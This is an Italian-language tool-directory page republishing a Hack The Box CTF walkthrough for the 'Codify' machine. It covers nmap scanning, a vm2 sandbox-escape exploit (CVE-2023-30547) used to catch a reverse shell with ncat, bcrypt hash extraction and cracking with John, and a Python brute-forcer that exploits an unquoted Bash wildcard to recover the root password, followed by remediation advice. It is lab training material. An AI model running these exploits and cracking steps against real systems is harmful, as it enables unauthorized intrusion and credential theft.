Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Codify-TJNULL-OSCP- — Walkthrough per Codify (Linux - Facile). Sfrutta vm2 RCE (CVE-2023-30547), estrazione di hash da database SQLite, cracking Bcrypt con John ed escalation dei privilegi tramite confronto wildcard Bash in `mysql-backup.sh`. | Kitploit
Strumenti/GitHubGitHub/r3fr4kt/codify-tjnull-oscp-
Escalation di PrivilegiAttacchi alle PasswordExploitSfruttamento di Applicazioni WebRaccolta InformazioniCTFPenetration TestingApprendimento e Formazione

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
GitHub
r3fr4kt/codify-tjnull-oscp-

Codify-TJNULL-OSCP-

Walkthrough per Codify (Linux - Facile). Sfrutta vm2 RCE (CVE-2023-30547), estrazione di hash da database SQLite, cracking Bcrypt con John ed escalation dei privilegi tramite confronto wildcard Bash in `mysql-backup.sh`.

Vedi Repository
18 giorni faNon ancora revisionato

Hack The Box — Writeup di Codify

Difficulty OS Platform

Writeup e walkthrough completo del penetration testing per la macchina Codify su Hack The Box.


📌 Informazioni sulla Macchina

CampoValore
NomeCodify
Sistema OperativoLinux
DifficoltàFacile
Concetti Chiavevm2 RCE (CVE-2023-30547), Enumerazione DB SQLite, Cracking Bcrypt, Abuso del Pattern Matching con Wildcard in Bash

🛠️ Riepilogo / Catena di Attacco

root@kitploit:~
[Nmap Scan: Porte 22, 80, 3000] ➡️ [App Sandbox Node.js (vm2) Rilevata]
                                      ⬇️
     [CVE-2023-30547: vm2 Sandbox Escape RCE] ➡️ [Reverse Shell come 'svc']
                                      ⬇️
  [Enumerazione SQLite: /var/www/contact/tickets.db] ➡️ [Estratto l'Hash Bcrypt di Joshua]
                                      ⬇️
     [John the Ripper (rockyou.txt)] ➡️ [SSH come 'joshua'] ➡️ [Lettura di user.txt]
                                      ⬇️
   [Controllo Sudo: /opt/scripts/mysql-backup.sh] ➡️ [Vulnerabilità di Confronto con Wildcard]
                                      ⬇️
[Script Python di Bruteforce] ➡️ [Estratta la Password Root di MySQL] ➡️ [su root] ➡️ [Lettura di root.txt]

🔍 Fase 1: Ricognizione ed Enumerazione

1. Scoperta delle Porte

Scansione rapida delle porte su tutte le 65.535 porte TCP per scoprire i servizi aperti:

Bash

root@kitploit:~
nmap -Pn -n -sS -p- --min-rate 5000 --open <TARGET_IP>

2. Rilevamento delle Versioni dei Servizi

Enumerazione dettagliata sulle porte 22, 80, 3000:

Bash

root@kitploit:~
nmap -sVC -p 22,80,3000 <TARGET_IP>

💥 Fase 2: Accesso Iniziale (Foothold)

1. Sfruttamento della Sandbox Escape di vm2 (CVE-2023-30547)

L'applicazione web in esecuzione sulla porta 3000 utilizza una versione vulnerabile della libreria sandbox Node.js vm2.

Clona il repository pubblico dell'exploit:

Bash

root@kitploit:~
git clone [https://github.com/user0x1337/CVE-2023-30547](https://github.com/user0x1337/CVE-2023-30547)
cd CVE-2023-30547

2. Esecuzione dell'Exploit

Avvia un listener Netcat locale sulla tua macchina d'attacco:

Bash

root@kitploit:~
ncat -lnvp 4444

Esegui l'exploit contro l'applicazione web vulnerabile:

Bash

root@kitploit:~
python3 exploit.py --url "http://<TARGET_IP>:3000" --lhost <YOUR_IP> --lport 4444

Verifica la shell di accesso iniziale:

Bash

root@kitploit:~
whoami

🔎 Fase 3: Enumerazione Interna e Movimento Laterale

1. Enumerazione del Database SQLite

Naviga nella directory web /var/www/contact e ispeziona il database SQLite:

Bash

root@kitploit:~
cd /var/www/contact
ls -la
sqlite3 tickets.db

Estrai l'hash bcrypt di Joshua:

SQL

root@kitploit:~
SELECT password FROM users WHERE username='joshua';

(Premi CTRL + d per uscire)

2. Cracking dell'Hash Bcrypt

Cracka l'hash estratto usando John the Ripper e rockyou.txt:

Bash

root@kitploit:~
echo "<HASH_BCRYPT>" > hash.txt
john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

3. Accesso SSH e User Flag

Autenticati via SSH usando le credenziali craccate di Joshua:

Bash

root@kitploit:~
ssh joshua@<TARGET_IP>
cat user.txt

⚡ Fase 4: Elevazione dei Privilegi

1. Enumerazione dei Diritti Sudo

Controlla i comandi sudo consentiti per l'utente joshua:

Bash

root@kitploit:~
sudo -l

Output: (ALL : ALL) NOPASSWD: /opt/scripts/mysql-backup.sh

2. Analisi dello Script di Backup

Ispeziona /opt/scripts/mysql-backup.sh:

Bash

root@kitploit:~
cat /opt/scripts/mysql-backup.sh

Vulnerabilità: Lo script utilizza un confronto di pattern senza virgolette in Bash ([[ $USER_PASS == $DB_PASS* ]]). Ciò consente ai wildcard (*) nell'input utente di eseguire un attacco di brute-force carattere per carattere contro la password reale.

3. Estrazione Automatica della Password (Python)

Crea bruteforce.py per estrarre carattere per carattere la password di root:

Python

root@kitploit:~
import string
import subprocess

all_characters = list(string.ascii_letters + string.digits)
password = ""
found = False

while not found:
    for character in all_characters:
        # Test password + character + wildcard (*)
        command = f"echo '{password}{character}*' | sudo /opt/scripts/mysql-backup.sh"
        output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout
        
        if "Password confirmed!" in output:
            password += character
            print(f"Found: {password}")
            break
    else:
        found = True

print(f"Root Password: {password}")

Esegui lo script per estrarre la password:

Bash

root@kitploit:~
python3 bruteforce.py

4. Root Flag

Passa al contesto dell'utente root usando la password estratta:

Bash

root@kitploit:~
su root
cat /root/root.txt

🛡️ Rimedi e Mitigazioni

  • Applica le patch alle librerie Node.js: Discontinua o aggiorna le librerie sandbox vulnerabili come vm2 (CVE-2023-30547).

  • Rendi sicuro lo scripting Bash: Metti sempre tra virgolette le variabili nelle operazioni di confronto tra stringhe ([[ "$USER_PASS" == "$DB_PASS" ]]) per prevenire il pattern matching involontario e l'iniezione di wildcard negli script privilegiati.

Scarica lo strumento